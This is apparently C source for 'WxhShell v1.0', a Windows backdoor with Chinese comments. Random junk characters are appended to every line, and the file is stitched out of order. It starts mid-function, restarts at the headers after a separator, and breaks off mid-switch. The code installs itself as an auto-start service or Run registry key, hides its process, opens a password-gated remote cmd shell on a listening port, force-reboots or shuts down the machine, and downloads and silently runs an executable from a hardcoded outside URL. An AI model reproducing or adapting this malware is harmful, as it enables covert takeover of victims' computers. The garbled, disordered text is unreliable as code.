    if(Boot(SHUTDOWN)) nC~fvyd<P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :l~EE!  
    else { Ky&KF0  
    closesocket(wsh); uu>lDvR*  
    ExitThread(0); (/fT]6(  
    } )C}KR`"  
    break; lcig7%  
    } e}Q>\t45  
  // 获取shell vOgLEN&]  
  case 's': { j@ C0af  
    CmdShell(wsh); dYyW]nZ&  
    closesocket(wsh); ~Oh=   
    ExitThread(0); g+9v$[!  
    break; !BRcq~-.  
  } aFG3tuaKrQ  
  // 退出 $WNG07]tU  
  case 'x': { m;h<"]<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6{7 3p@  
    CloseIt(wsh); 9- G b"hr  
    break; aQmfrx  
    } u&SZ lkf6%  
  // 离开 k2OM="Ei}  
  case 'q': { E{gv,cUM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ou;qO 5CT  
    closesocket(wsh); 6z1\a  
    WSACleanup(); DVzssP g  
    exit(1); [tm[,VfA^  
    break; "=ElCaP}  
        } a)S(p1BGg  
  } +\U]p_Fo3  
  } h^d\xn9GT#  
;>C9@S+  
  // 提示信息 S*rO0s:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `r]TA]D R  
} )]A9~H  
  } M1(9A>|nF  
0h:G4  
  return; K6(.KEW  
} qwP$~Bj  
&>V/X{>$`K  
// shell模块句柄 !3HsI| $<G  
int CmdShell(SOCKET sock) 7(@(Hm  
{ &<=e_0zT  
STARTUPINFO si; `A"Q3sf%  
ZeroMemory(&si,sizeof(si)); A: c]1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ixzTJ]yu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {Ve D@  
PROCESS_INFORMATION ProcessInfo; !Y|8z\ Q  
char cmdline[]="cmd"; fPrb%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ivjw<XP6K  
  return 0; GY7s  
} w~{| S7/  
>3+FZ@.iT  
// 自身启动模式 V*~423  
int StartFromService(void) X/wmKi  
{ C{)HlOW  
typedef struct N GSS:  
{ Pn J*Zea  
  DWORD ExitStatus; mb~./.5F  
  DWORD PebBaseAddress; ;'hi9L  
  DWORD AffinityMask; Lb^(E-  
  DWORD BasePriority; jjX%$Hr  
  ULONG UniqueProcessId; ,{pGP#  
  ULONG InheritedFromUniqueProcessId; " SLvUzO>q  
}   PROCESS_BASIC_INFORMATION; `1$y(w]  
k%^<}s@  
PROCNTQSIP NtQueryInformationProcess; XW^8A 77H  
0&Qsk!-B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \ boL`X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $kIo4$.Y$  
&8waih(|  
  HANDLE             hProcess; $mD>r x  
  PROCESS_BASIC_INFORMATION pbi; ret0z|  
M`bL5J;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L=,Y1nO:p  
  if(NULL == hInst ) return 0; &:q[-K@!  
\.kTe<.:_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9='=-;@/5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IJldN6&\q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %P(;8sS  
Kc-Y  
  if (!NtQueryInformationProcess) return 0; Gxo# !  
n+X1AOE[L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  :4{Qh  
  if(!hProcess) return 0; v8>!Gft  
o|0 '0P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Vk WO}  
]u;GNz}?  
  CloseHandle(hProcess); 90?,-6  
V8\$`NEP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [4ee <J  
if(hProcess==NULL) return 0; T ^N L:78  
t18UDR{  
HMODULE hMod; v&e-`.xR  
char procName[255]; %8a=mQl1^  
unsigned long cbNeeded; j=FMYd8$y  
Q5hb0O%a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0n\^$WY  
w[e0wh`.  
  CloseHandle(hProcess); >/8ru*Oc  
I'xC+nL@  
if(strstr(procName,"services")) return 1; // 以服务启动 R04.K !  
c1PViko,>  
  return 0; // 注册表启动 XynU/Go,  
} Zo'/^S  
;x,+*%  
// 主模块 )-)ss"\+Ju  
int StartWxhshell(LPSTR lpCmdLine) bd} r#^'K  
{ y-%nJD$  
  SOCKET wsl; Xm%iPrl D  
BOOL val=TRUE; 2ve lH;  
  int port=0; V;H d)v( j  
  struct sockaddr_in door; _k6x=V;9g  
DakLD~H;  
  if(wscfg.ws_autoins) Install(); i^/ eN  
L7s>su|c(  
port=atoi(lpCmdLine); r >E\Cco  
hx*HY%\P  
if(port<=0) port=wscfg.ws_port; `i=JjgG@  
h-Tsi:%b  
  WSADATA data; aMBL1d7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S^|$23}  
*1\z^4=a]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1V-=$Q3 V7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C2CYIo k$&  
  door.sin_family = AF_INET; <%M\7NDWDA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5?Uo&e  
  door.sin_port = htons(port); Tt{U"EFO  
A*rZQh b[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -)4uYK*  
closesocket(wsl); U~oBNsU"  
return 1; 1d/NZJ9  
} Po'-z<}wS  
+ylxezc  
  if(listen(wsl,2) == INVALID_SOCKET) { }Q!h ov  
closesocket(wsl); Q^*G`&w,  
return 1; mfu*o0   
} P4hZB_.=  
  Wxhshell(wsl); fL(':W&n-  
  WSACleanup(); 5ze`IY  
I/mvQxp  
return 0; !'Pk jP  
VV?]U$  
} Y0@'za^y  
"kcpA#uD|  
// 以NT服务方式启动 #.<*; rB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o G (0i  
{ w 9G_>+?E  
DWORD   status = 0; f0/jwfL  
  DWORD   specificError = 0xfffffff; l.XknF  
17WNJ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7vi i9Am7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h9w@oRp`~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <P|`7wfxE  
  serviceStatus.dwWin32ExitCode     = 0; Ko1AaX(I'+  
  serviceStatus.dwServiceSpecificExitCode = 0; Oyi;bb<#  
  serviceStatus.dwCheckPoint       = 0; ->#y(}  
  serviceStatus.dwWaitHint       = 0; c_@XQ&DC`  
3DxZ#/!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); eFt\D\XOW  
  if (hServiceStatusHandle==0) return; Z[a O_6L  
8T8pAs0 p  
status = GetLastError(); A)hq0FPp  
  if (status!=NO_ERROR) 8FxcI!A@  
{ z0T`5N G@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @PT`CK}  
    serviceStatus.dwCheckPoint       = 0; qgwv=5|  
    serviceStatus.dwWaitHint       = 0; T r SN00  
    serviceStatus.dwWin32ExitCode     = status; J!=](s5|  
    serviceStatus.dwServiceSpecificExitCode = specificError; !T<z'zZU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'dmp4VT3  
    return; N90\]dFmy  
  } jHs<s`#h  
3C> 2x(]M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HF*j`}  
  serviceStatus.dwCheckPoint       = 0; B`g<Ge~  
  serviceStatus.dwWaitHint       = 0; Q mb[ e>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Rf)'HT  
} S1D9AcK  
%MfGVx}nG  
// 处理NT服务事件,比如:启动、停止 1bV2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T [T6  
{ @J~ lV\  
switch(fdwControl) k)N2 +/  
{ <bEN8b  
case SERVICE_CONTROL_STOP: n%83jep9  
  serviceStatus.dwWin32ExitCode = 0; E\{^0vNc  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Vpug"aR&_  
  serviceStatus.dwCheckPoint   = 0; kV*y_5g  
  serviceStatus.dwWaitHint     = 0; u} JQTro  
  { mr:kn0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^/_\etV  
  } M[:O(  
  return; F,' ^se4&  
case SERVICE_CONTROL_PAUSE: ddUjs8VvJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `U {o:  
  break; {toyQ)C7  
case SERVICE_CONTROL_CONTINUE: :)KTZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ybs=W< -  
  break; 844tXMtPB\  
case SERVICE_CONTROL_INTERROGATE: vDu0  
  break; tb-OKZq  
}; uB5h9&57  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a<OCO0irJ  
} ](B& l{V  
[47K7~9p  
// 标准应用程序主函数 ^>,< *p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t x:rj6 -z  
{ jw:4fb  
h]J&A  
// 获取操作系统版本 #,f}lV,&  
OsIsNt=GetOsVer(); * kX3sG$8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |@o]X?^  
6Nfof  
  // 从命令行安装 rK(x4]I l"  
  if(strpbrk(lpCmdLine,"iI")) Install(); L Q I: ]d  
xm%[}Dt]  
  // 下载执行文件 TEaD-mY3  
if(wscfg.ws_downexe) { -4*'WzWr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f_i"/xC-/  
  WinExec(wscfg.ws_filenam,SW_HIDE); `-72>F;T  
} W (=Wg|cr  
]wkSAi5z*  
if(!OsIsNt) { '8r8 ^g[  
// 如果时win9x,隐藏进程并且设置为注册表启动 dO 1-c`  
HideProc(); }@ O|RkY  
StartWxhshell(lpCmdLine); QrNL7{  
} %{N$1ht^  
else ch5`fm  
  if(StartFromService()) H6%!v1 u  
  // 以服务方式启动 R,d70w (_  
  StartServiceCtrlDispatcher(DispatchTable); %=NM_5a}]  
else ooLnJ Y#  
  // 普通方式启动 `}k&HRn  
  StartWxhshell(lpCmdLine); #a7Amh\nT  
} #\;np  
return 0; E<zT  
} v@$evmA  
'f=)pc#&g  
Ckl7rpY+  
0@sr NuW  
=========================================== V7B=+(xK  
fG8}=xH_&  
#.\,y>`  
[p( #WM:  
AhbT/  
ADLa.{  
"  qrkRD*a  
9I`Mm}v@  
#include <stdio.h> Wvut)T  
#include <string.h> 'K;4102\  
#include <windows.h> |l6<GWG+  
#include <winsock2.h> O]Ry3j  
#include <winsvc.h> e_>rJWI}  
#include <urlmon.h> o-Q]Dk1W  
lJ2|jFY9  
#pragma comment (lib, "Ws2_32.lib") xu%! b0  
#pragma comment (lib, "urlmon.lib") [}9XHhY1O=  
+2;#9aa I  
#define MAX_USER   100 // 最大客户端连接数 YmO"EWb  
#define BUF_SOCK   200 // sock buffer 7U{b+=,wK  
#define KEY_BUFF   255 // 输入 buffer i">z8?qF  
G!e}j @@  
#define REBOOT     0   // 重启 u'$yYzBE  
#define SHUTDOWN   1   // 关机 m]-v IUpb  
A/$KA'jX  
#define DEF_PORT   5000 // 监听端口 A1k&` |k   
PNxVW  
#define REG_LEN     16   // 注册表键长度 [/+dHW|  
#define SVC_LEN     80   // NT服务名长度 #U!(I#^3  
Kbz7  
// 从dll定义API 8CnI%_Su  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -KIVnV=&m  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A<YZBR_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P[#WHbn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qOcG|UgF  
aV?}+Y{#  
// wxhshell配置信息 skR, M=F~  
struct WSCFG { 9aF..  
  int ws_port;         // 监听端口 :bM$;  
  char ws_passstr[REG_LEN]; // 口令 /v bO/Mr  
  int ws_autoins;       // 安装标记, 1=yes 0=no RXx?/\~yd;  
  char ws_regname[REG_LEN]; // 注册表键名 qa0JQ_?o]  
  char ws_svcname[REG_LEN]; // 服务名 r_g\_y7ua  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Cb@S </b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ohc/.5Kl  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S0Bl?XsD_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _ntW}})K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I(?|Ox9"?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ziLr }/tg  
bn*{*=(|  
}; 8)-t91hkL  
vYMbson}  
// default Wxhshell configuration 6XOpB^@  
struct WSCFG wscfg={DEF_PORT, zNsL^;uT  
    "xuhuanlingzhe", -X&!dV:= 4  
    1, J++sTQ(!?  
    "Wxhshell", "f&i 251  
    "Wxhshell", ?) ,xZ1"  
            "WxhShell Service", n6%jhv9H  
    "Wrsky Windows CmdShell Service", ;8;~C "  
    "Please Input Your Password: ", j6R{  
  1, 0IPhVG~#  
  "http://www.wrsky.com/wxhshell.exe", t7!>5e)C}  
  "Wxhshell.exe" t5jhpPVf  
    };  ,3@15j  
:|m~<'g  
// 消息定义模块 vY0V{u?J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LG&Q>pt.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; '#4mDz~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #nc@!+  
char *msg_ws_ext="\n\rExit."; }*}`)rj,  
char *msg_ws_end="\n\rQuit."; L>5!3b=b  
char *msg_ws_boot="\n\rReboot..."; K&D}!.~/  
char *msg_ws_poff="\n\rShutdown..."; e@2Vn? 5  
char *msg_ws_down="\n\rSave to "; >D p6@%  
X^ ^?}>t[  
char *msg_ws_err="\n\rErr!"; SbPjU5 0  
char *msg_ws_ok="\n\rOK!"; Z'EO   
/qkIoF2  
char ExeFile[MAX_PATH]; X,!OWz:[  
int nUser = 0; se n{f^U  
HANDLE handles[MAX_USER]; ~gi( 1<#  
int OsIsNt; L$TKO,T  
p\]LEP\z,  
SERVICE_STATUS       serviceStatus; DO-K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ji}IV  
(y+5d00  
// 函数声明 li_pM!dWU_  
int Install(void); [>J~M!yu:r  
int Uninstall(void); {ZsWZJ!  
int DownloadFile(char *sURL, SOCKET wsh); 8F\Msx  
int Boot(int flag); 3R=3\;  
void HideProc(void); |L_g/e1A3  
int GetOsVer(void); cdtzf:#q  
int Wxhshell(SOCKET wsl); HyX4ob[X  
void TalkWithClient(void *cs); eR* ]<0=  
int CmdShell(SOCKET sock); #`#aSqGmc  
int StartFromService(void); dW^_tzfF7  
int StartWxhshell(LPSTR lpCmdLine); oIL+@}u7  
qiKtR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5.K$ X$+7}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ETWmeMN  
#PLB$$  
// 数据结构和表定义 a4a[pX,5  
SERVICE_TABLE_ENTRY DispatchTable[] = a@=36gx)  
{ :{N3o:  
{wscfg.ws_svcname, NTServiceMain}, DHumBnQ  
{NULL, NULL} !,JT91  
}; /DG`Hg  
U9p.Dh~)vG  
// 自我安装 x{`<);CQ  
int Install(void) |7Xpb  
{ u FYQ^  
  char svExeFile[MAX_PATH]; #<i> <EG  
  HKEY key; .McoW7|Y  
  strcpy(svExeFile,ExeFile); Lc:SqF  
p:Ld)U*  
// 如果是win9x系统,修改注册表设为自启动 =|5bhwU]  
if(!OsIsNt) { |3T|F3uEX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <# x%A0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uuK]<h*  
  RegCloseKey(key); d>"$^${  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X @jYQ.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K^qUlyv  
  RegCloseKey(key); \PMKmJ X0O  
  return 0; > %cWTC  
    } 9@z|2z2\G  
  } $?A Uk  
} dZiWVa  
else { u*-<5& X  
;!Z7-OZX  
// 如果是NT以上系统,安装为系统服务 o` 1V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CT:eV7<>s  
if (schSCManager!=0) KjfKo;T  
{ H"RF[bX(  
  SC_HANDLE schService = CreateService `:BQ&T%UQR  
  ( L"du"-  
  schSCManager, ; 7v7V  
  wscfg.ws_svcname, ,;e-37^0l  
  wscfg.ws_svcdisp, A&lgiR*ObT  
  SERVICE_ALL_ACCESS, ,N|R/Vk$+E  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9oxf)pjw  
  SERVICE_AUTO_START, JHh9> .1  
  SERVICE_ERROR_NORMAL, dj&m  
  svExeFile, >Hzb0N!VJ  
  NULL, t?H;iBrpxd  
  NULL, nTy,Jml  
  NULL, Qbt>}?-  
  NULL, ~Ow23N  
  NULL rKs WS~U  
  ); ?O>JtEz~lQ  
  if (schService!=0) L\?g/l+k  
  { W;g+R-  
  CloseServiceHandle(schService); E?h2e~ ,]  
  CloseServiceHandle(schSCManager); GGQ(|?w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =^AZx)Kwd  
  strcat(svExeFile,wscfg.ws_svcname); +?txGHQq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C\ >Mt  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3k[<4-  
  RegCloseKey(key); -5_xI)i  
  return 0; 2gR_1*|  
    } O+Lb***b"  
  } CU^3L|f2N  
  CloseServiceHandle(schSCManager); U1!2nJ]  
} Q;,3W+(  
} 70*iJ^|  
U <$xp  
return 1; nV xMo_  
} ^8*SCM_A  
s!fY^3  
// 自我卸载 S9#N%{8P  
int Uninstall(void) [W;dguh  
{ Csm!\ I  
  HKEY key; F`V[G(f+r  
qg:I+"u  
if(!OsIsNt) { 4e\`zy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Fl3r!a!P,  
  RegDeleteValue(key,wscfg.ws_regname); d47:2Zj  
  RegCloseKey(key); +C;#Qf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { svRaU7<UDN  
  RegDeleteValue(key,wscfg.ws_regname); R$&&kmJ  
  RegCloseKey(key); |laKntv2  
  return 0; MkGq%AE`Y  
  } V42*4hskL  
} 3$yL+%i  
} @`8 B} C  
else { 18tQWI$  
A;`U{7IST  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JG4*B|3  
if (schSCManager!=0) 8+cpNX  
{ ` +UMZc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y-q?pqt  
  if (schService!=0) o9d$ 4s@/  
  { ;Hp'x_xQ  
  if(DeleteService(schService)!=0) { *vE C,)  
  CloseServiceHandle(schService); TY[d%rMm  
  CloseServiceHandle(schSCManager); 0HuRFl  
  return 0; n:."ZBtY*  
  } $ 14DTjj  
  CloseServiceHandle(schService); Y"rV[oe   
  } ,fJ(.KI0  
  CloseServiceHandle(schSCManager); WB [G!'  
} YaT+BRh?  
} 'wnY>hN  
"?&bh@P&  
return 1; F1*rUsRKN  
} #TwE??ms  
]3u'Qv}o  
// 从指定url下载文件 ,(W98}nB  
int DownloadFile(char *sURL, SOCKET wsh) z\d2T%^:g(  
{ VgTI2  
  HRESULT hr; NWN)b&}  
char seps[]= "/"; `(suRp8!  
char *token; `+;oo B  
char *file; zP'pfBgbJW  
char myURL[MAX_PATH]; >$52B9ie  
char myFILE[MAX_PATH]; !Lug5U}  
QLU; .&  
strcpy(myURL,sURL); !Jn w_)  
  token=strtok(myURL,seps); X0QS/S-+  
  while(token!=NULL) Ck%(G22-  
  { D\*_ulc]  
    file=token; >Io7h#[u  
  token=strtok(NULL,seps); xxcDd_z  
  } QF "&~  
#LgoKiP!Y  
GetCurrentDirectory(MAX_PATH,myFILE); FtDA k?  
strcat(myFILE, "\\"); }v ,P3  
strcat(myFILE, file); .(]1PKW  
  send(wsh,myFILE,strlen(myFILE),0); /G+gk0FW  
send(wsh,"...",3,0); #R4KBXN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); % peb{i  
  if(hr==S_OK) m1i$>9,  
return 0; c} ET#2,  
else cNc _ n<M  
return 1; )K3 vzX  
tg3JU\  
} O t<%gj;^  
0)a?W,+O  
// 系统电源模块 o`! :Q!+  
int Boot(int flag) Fe< t@W  
{ JlGD.!`  
  HANDLE hToken; 7]zZh a4X  
  TOKEN_PRIVILEGES tkp; 5mVu]T`  
!sQ8,l0h  
  if(OsIsNt) { EZRZ)h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "FvlZRfXj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BF|FW  
    tkp.PrivilegeCount = 1; OBQ!0NM_b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {;M/J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); IjAity.Xrq  
if(flag==REBOOT) { zN JyF;3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ulo7d1OVkJ  
  return 0; k T>}(G||  
} :E`l(sI7J}  
else { h l'k_<a*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6ng g*kE<  
  return 0; 7/!C  
} SJ+-H83x  
  } ;#yz i2f  
  else { j/|qge4  
if(flag==REBOOT) { X&X')hzIt  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ' qS!n  
  return 0; ~kT{O!x}4  
} @?? 6)C  
else { O G}&%NgH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Vs"Q-?  
  return 0; %y+j~]^:  
} --)[>6)I  
} 8}T3Fig,q  
*OcptmY<  
return 1; (5;xs  
} ) <~7<.0  
?7a[| -  
// win9x进程隐藏模块 ovFfTP<3V  
void HideProc(void) s>I}-=.(Q  
{ HbVm O]#$D  
OXV@LYP@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;0q6 bp(<H  
  if ( hKernel != NULL ) rdg1<Z  
  { -~ Q3T9+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t}l<#X5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uB5o Ghu-  
    FreeLibrary(hKernel); t[,\TM^h}0  
  } IxR:a(  
LnX^*;P5t  
return; -;z\BW5 y  
} dUSuhT  
5L#M7E  
// 获取操作系统版本 x#j_}L!V;  
int GetOsVer(void) O v6=|]cW  
{ Big-)7?  
  OSVERSIONINFO winfo; J?$uNlI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 42LV>X#i  
  GetVersionEx(&winfo); 6d8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SUhP e+  
  return 1; ,Z"sh*  
  else /VkJ+%}+j  
  return 0; s:P-F0q!&  
} o*'3N/D~  
WU_Q 7%+QS  
// 客户端句柄模块 8+F2 !IM  
int Wxhshell(SOCKET wsl) v8N1fuP}  
{ $hh=-#J8  
  SOCKET wsh; -+/|  
  struct sockaddr_in client; BJ/%{ C`g  
  DWORD myID; cG6+'=]3<  
\v Go5`  
  while(nUser<MAX_USER) ~<LI p%5(  
{ b\mN^P~>A  
  int nSize=sizeof(client); 5GP' cE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pUx@QyrI  
  if(wsh==INVALID_SOCKET) return 1; AWcP OU  
#*@Yil=1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); '"a8<7  
if(handles[nUser]==0)  tvILLR  
  closesocket(wsh); a8TE  
else eO#)QoHj^  
  nUser++; a3[aXe  
  } '/?&Gol-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u"ow?[E  
3kg+*]tLx  
  return 0; Uz_{jAhW]  
} L^}kwu#  
wB{-]\H`\  
// 关闭 socket nor`w,2VF  
void CloseIt(SOCKET wsh) GEgf_C!%@  
{ yMxS'j1  
closesocket(wsh); i8F~$6C  
nUser--; 1'U-n{fD  
ExitThread(0); :+n7oOV  
} 5Jp>2d  
M Cz3RZK  
// 客户端请求句柄 k9 E ?5  
void TalkWithClient(void *cs) ruVm8 BO  
{ .H "gH-I  
V-57BKeDz  
  SOCKET wsh=(SOCKET)cs; ( ;q$cKy  
  char pwd[SVC_LEN]; 4"@yGXUb  
  char cmd[KEY_BUFF]; '_8Vay~  
char chr[1]; N !:&$z-  
int i,j; = 8n*%NC  
]up:pddIh  
  while (nUser < MAX_USER) { qSR %#  
NH/H+7,o  
if(wscfg.ws_passstr) { Ghz)=3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %* 8QLI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z^]nP 87  
  //ZeroMemory(pwd,KEY_BUFF); qabM@+m[  
      i=0; eZHi6v)i  
  while(i<SVC_LEN) { KT}}=st%  
X |as1Y$O+  
  // 设置超时 BScysoeD  
  fd_set FdRead; 1'=brc YR  
  struct timeval TimeOut; l6RJour  
  FD_ZERO(&FdRead); :iJ= 9  
  FD_SET(wsh,&FdRead); <W1!n$V ]  
  TimeOut.tv_sec=8; hH~Z hB  
  TimeOut.tv_usec=0; 7)YU ;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); EC7o 3LoND  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \y=,=;yv  
e_e|t>nQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KMv|;yXYj4  
  pwd=chr[0]; XyhdsH5%3!  
  if(chr[0]==0xd || chr[0]==0xa) { %u#pl=k}  
  pwd=0; }  ?  
  break; !&X}? NK  
  } Sx}h$E:  
  i++; a)xN(xp##  
    } ,PnEDQ|l  
7be?=c)+"  
  // 如果是非法用户,关闭 socket ) ":~`Z*@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }9'rTLM  
} Jyn>:Yq(  
nHhg#wR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ='f>p+*c%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nWh?zf#{  
Yq.Omr!  
while(1) { yRAb HG,c  
{3?g8e]zr  
  ZeroMemory(cmd,KEY_BUFF); E: %%Dm  
A%Ao yy4E  
      // 自动支持客户端 telnet标准   NLj0\Pz|B  
  j=0; Z#0z#M`  
  while(j<KEY_BUFF) { e3[N#ryt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'tOo0Zgc  
  cmd[j]=chr[0]; Pai{?<zGi  
  if(chr[0]==0xa || chr[0]==0xd) { VF4F7'  
  cmd[j]=0; ks! G \<I  
  break; tTY(I1  
  } 7oUYRqd  
  j++; 4&?%"2  
    } ?qdG)jo=  
(2S,0MHk  
  // 下载文件 O32:j   
  if(strstr(cmd,"http://")) { L3&NGcd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r"xo9&|  
  if(DownloadFile(cmd,wsh)) R|_?yV[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qv8Z64#  
  else qsJo)SA  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \2T@]!n  
  } Ek84yme#  
  else { QjPcfR\  
>%xJ e'  
    switch(cmd[0]) { J^u8d?>r  
  [ %r :V"  
  // 帮助 b-wFnMXk+  
  case '?': { D:%v((Ccw  
